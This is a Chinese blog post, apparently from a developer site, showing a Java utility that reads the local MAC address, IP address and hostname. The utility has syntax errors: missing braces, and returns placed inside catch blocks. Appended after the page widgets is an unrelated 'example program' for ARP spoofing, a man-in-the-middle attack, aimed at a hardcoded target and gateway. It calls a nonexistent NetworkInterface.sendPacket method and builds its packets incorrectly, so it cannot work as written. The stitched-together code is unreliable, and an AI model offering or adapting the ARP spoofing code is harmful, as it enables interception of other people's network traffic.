Java获取本机MAC地址/IP地址/主机名

 
由于前面提到的找“qa-qd-61-151”主机名的问题,所以对Java获取主机名的东西进行了学习,顺便了解了一下Java获取MAC地址/IP地址等的方法。
根据参考资料中的两篇文章,整合了以下,实现了Java获取MAC地址/IP地址/主机名的功能。实现原理如下:
IP地址和主机名时直接调用
java.net.InetAddress 这个类中的方法来实现的;而MAC地址,区分Windows和Unix两种操作系统,分别用"ipconfig /all"和"ifconfig eth0"命令来获取输出,然后对其进行解析,找到MAC地址的位置。如果操作系统的语言不同,解析里面的内容也时有差别的;另外如果网卡不是eth0, 也需要相应的修改,需要根据自己实际应用场景进行修改的。
代码如下:
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.net.InetAddress;
import java.net.UnknownHostException;

/**
 * @className: SystemTool
 * @description: 与系统相关的一些常用工具方法. 目前实现的有:获取MAC地址、IP地址、主机名
 * @author: 笑遍世界
 * @createTime: 2010-11-13 下午08:03:44
 */
public class SystemTool {

/**
* 获取当前操作系统名称.
* return 操作系统名称 例如:windows xp,linux 等.
*/
public static String getOSName() {
return System.getProperty("os.name").toLowerCase();
}
/**
* 获取unix网卡的mac地址.
* 非windows的系统默认调用本方法获取.如果有特殊系统请继续扩充新的取mac地址方法.
* @return mac地址
*/
public static String getUnixMACAddress() {
String mac = null;
BufferedReader bufferedReader = null;
Process process = null;
try {
process = Runtime.getRuntime().exec("ifconfig eth0");// linux下的命令,一般取eth0作为本地主网卡 显示信息中包含有mac地址信息
bufferedReader = new BufferedReader(new InputStreamReader(process
.getInputStream()));
String line = null;
int index = -1;
while ((line = bufferedReader.readLine()) != null) {
index = line.toLowerCase().indexOf("hwaddr");// 寻找标示字符串[hwaddr]
if (index >= 0) {// 找到了
mac = line.substring(index +"hwaddr".length()+ 1).trim();//  取出mac地址并去除2边空格
break;
}
}
} catch (IOException e) {
e.printStackTrace();
} finally {
try {
if (bufferedReader != null) {
bufferedReader.close();
}
} catch (IOException e1) {
e1.printStackTrace();
}
bufferedReader = null;
process = null;
}

return mac;
}

/**
* 获取widnows网卡的mac地址.
* @return mac地址
*/
public static String getWindowsMACAddress() {
String mac = null;
BufferedReader bufferedReader = null;
Process process = null;
try {
process = Runtime.getRuntime().exec("ipconfig /all");// windows下的命令,显示信息中包含有mac地址信息
bufferedReader = new BufferedReader(new InputStreamReader(process
.getInputStream()));
String line = null;
int index = -1;
while ((line = bufferedReader.readLine()) != null) {
index = line.toLowerCase().indexOf("physical address");// 寻找标示字符串[physical address]
if (index >= 0) {// 找到了
index = line.indexOf(":");// 寻找":"的位置
if (index>=0) {
mac = line.substring(index + 1).trim();//  取出mac地址并去除2边空格
}
break;
}
}
} catch (IOException e) {
e.printStackTrace();
} finally {
try {
if (bufferedReader != null) {
bufferedReader.close();
}
} catch (IOException e1) {
e1.printStackTrace();
}
bufferedReader = null;
process = null;
}

return mac;
}
/**
* @return  本机主机名
*/
public static String getHostName() {
InetAddress ia = null;
try {
ia = InetAddress.getLocalHost();
} catch (UnknownHostException e) {
// TODO Auto-generated catch block
e.printStackTrace();
if (ia == null ) {
return "some error..";
}
else 
return ia.getHostName();
}
/**
* @return  本机IP 地址
*/
public static String getIPAddress() {
InetAddress ia = null;
try {
ia = InetAddress.getLocalHost();
} catch (UnknownHostException e) {
// TODO Auto-generated catch block
e.printStackTrace();
if (ia == null ) {
return "some error..";
}
else 
return ia.getHostAddress();
}

/**
* 测试用的main方法.
* @param argc
*            运行参数.
*/
public static void main(String[] argc) {
String os = getOSName();
System.out.println("OS Type:"+os);
if(os.startsWith("windows")){
//本地是windows
String mac = getWindowsMACAddress();
System.out.println("MAC Address:"+mac);
}else{
//本地是非windows系统 一般就是unix
String mac = getUnixMACAddress();
System.out.println(mac);
}
System.out.println("HostName:"+getHostName());
System.out.println("IPAddress:"+getIPAddress());
}
 
 
 
     //这个更简单
     Map<String, String> map = System.getenv();
     String userName = map.get("USERNAME");// 获取用户名
     String computerName = map.get("COMPUTERNAME");// 获取计算机名
     String userDomain = map.get("USERDOMAIN");// 获取计算机域名
  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 3
    评论
ARP欺骗是一种网络攻击方式,它会伪装成网络中的另一台主机,向网络中的其他主机发送虚假的ARP响应包,从而达到窃取数据、中间人攻击等目的。下面是一个使用Java实现ARP欺骗的示例程序: ```java import java.io.IOException; import java.net.InetAddress; import java.net.NetworkInterface; import java.net.SocketException; import java.net.UnknownHostException; import java.util.Arrays; public class ArpSpoofing { private static final byte[] BROADCAST_MAC = {(byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff}; private static final byte[] ARP_REQUEST_HEADER = {(byte) 0x00, (byte) 0x01}; private static final byte[] ARP_REPLY_HEADER = {(byte) 0x00, (byte) 0x02}; private static final byte[] ETHERNET_HEADER = {(byte) 0x00, (byte) 0x01, (byte) 0x02, (byte) 0x03, (byte) 0x04, (byte) 0x05}; public static void main(String[] args) throws UnknownHostException, SocketException, IOException, InterruptedException { String targetIp = "192.168.0.100"; // 目标主机IP地址 String gatewayIp = "192.168.0.1"; // 网关IP地址 String interfaceName = "eth0"; // 网络接口名 byte[] targetMac = getMacAddress(targetIp, interfaceName); // 获取目标主机MAC地址 byte[] gatewayMac = getMacAddress(gatewayIp, interfaceName); // 获取网关MAC地址 // 发送ARP欺骗包 while (true) { sendArpReply(targetIp, targetMac, gatewayIp, gatewayMac, interfaceName); Thread.sleep(1000); } } private static void sendArpReply(String targetIp, byte[] targetMac, String gatewayIp, byte[] gatewayMac, String interfaceName) throws IOException { byte[] packetData = new byte[42]; // 设置以太网头部 System.arraycopy(targetMac, 0, packetData, 0, 6); // 目标MAC地址 System.arraycopy(ETHERNET_HEADER, 0, packetData, 6, 6); // 源MAC地址 packetData[12] = 0x08; // 以太网类型 // 设置ARP头部 System.arraycopy(BROADCAST_MAC, 0, packetData, 14, 6); // 目标MAC地址 System.arraycopy(getMacAddress(gatewayIp, interfaceName), 0, packetData, 20, 6); // 源MAC地址 System.arraycopy(ARP_REPLY_HEADER, 0, packetData, 26, 2); // ARP响应头部 System.arraycopy(getMacAddress(gatewayIp, interfaceName), 0, packetData, 28, 6); // 发送方MAC地址 System.arraycopy(InetAddress.getByName(targetIp).getAddress(), 0, packetData, 38, 4); // 目标IP地址 System.arraycopy(targetMac, 0, packetData, 32, 6); // 目标MAC地址 // 发送ARP欺骗包 NetworkInterface networkInterface = NetworkInterface.getByName(interfaceName); networkInterface.getInterfaceAddresses().stream().filter(address -> address.getAddress().getAddress().length == 4).findFirst().ifPresent(address -> { try { InetAddress broadcastAddress = address.getBroadcast(); if (broadcastAddress != null) { networkInterface.sendPacket(new java.net.DatagramPacket(packetData, packetData.length, broadcastAddress, 0)); } } catch (IOException e) { e.printStackTrace(); } }); } private static byte[] getMacAddress(String ip, String interfaceName) throws UnknownHostException, SocketException { NetworkInterface networkInterface = NetworkInterface.getByName(interfaceName); byte[] hardwareAddress = networkInterface.getHardwareAddress(); byte[] ipBytes = InetAddress.getByName(ip).getAddress(); // 构造ARP请求包 byte[] packetData = new byte[28]; System.arraycopy(BROADCAST_MAC, 0, packetData, 0, 6); // 目标MAC地址 System.arraycopy(hardwareAddress, 0, packetData, 6, 6); // 源MAC地址 System.arraycopy(ARP_REQUEST_HEADER, 0, packetData, 12, 2); // ARP请求头部 System.arraycopy(hardwareAddress, 0, packetData, 14, 6); // 发送方MAC地址 System.arraycopy(ipBytes, 0, packetData, 24, 4); // 目标IP地址 // 发送ARP请求包 networkInterface.getInterfaceAddresses().stream().filter(address -> address.getAddress().getAddress().length == 4).findFirst().ifPresent(address -> { try { InetAddress broadcastAddress = address.getBroadcast(); if (broadcastAddress != null) { java.net.DatagramSocket socket = new java.net.DatagramSocket(); socket.setSoTimeout(5000); socket.send(new java.net.DatagramPacket(packetData, packetData.length, broadcastAddress, 0)); // 接收ARP响应包 byte[] receiveBuffer = new byte[28]; socket.receive(new java.net.DatagramPacket(receiveBuffer, receiveBuffer.length)); System.out.println(Arrays.toString(receiveBuffer)); // 解析ARP响应包 byte[] macAddress = new byte[6]; System.arraycopy(receiveBuffer, 6, macAddress, 0, 6); System.out.println(ip + " -> " + Arrays.toString(macAddress)); } } catch (IOException e) { e.printStackTrace(); } }); return hardwareAddress; } } ``` 这个示例程序使用了`NetworkInterface`类来获取网络接口的信息,并使用`DatagramSocket`类来发送ARP请求和欺骗包。需要注意的是,在实际使用中还需要考虑多种情况,例如网络拓扑结构、MAC地址缓存等因素的影响,否则可能会导致ARP欺骗失败。同时,ARP欺骗是一种违法的网络攻击行为,请勿用于非法用途。
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值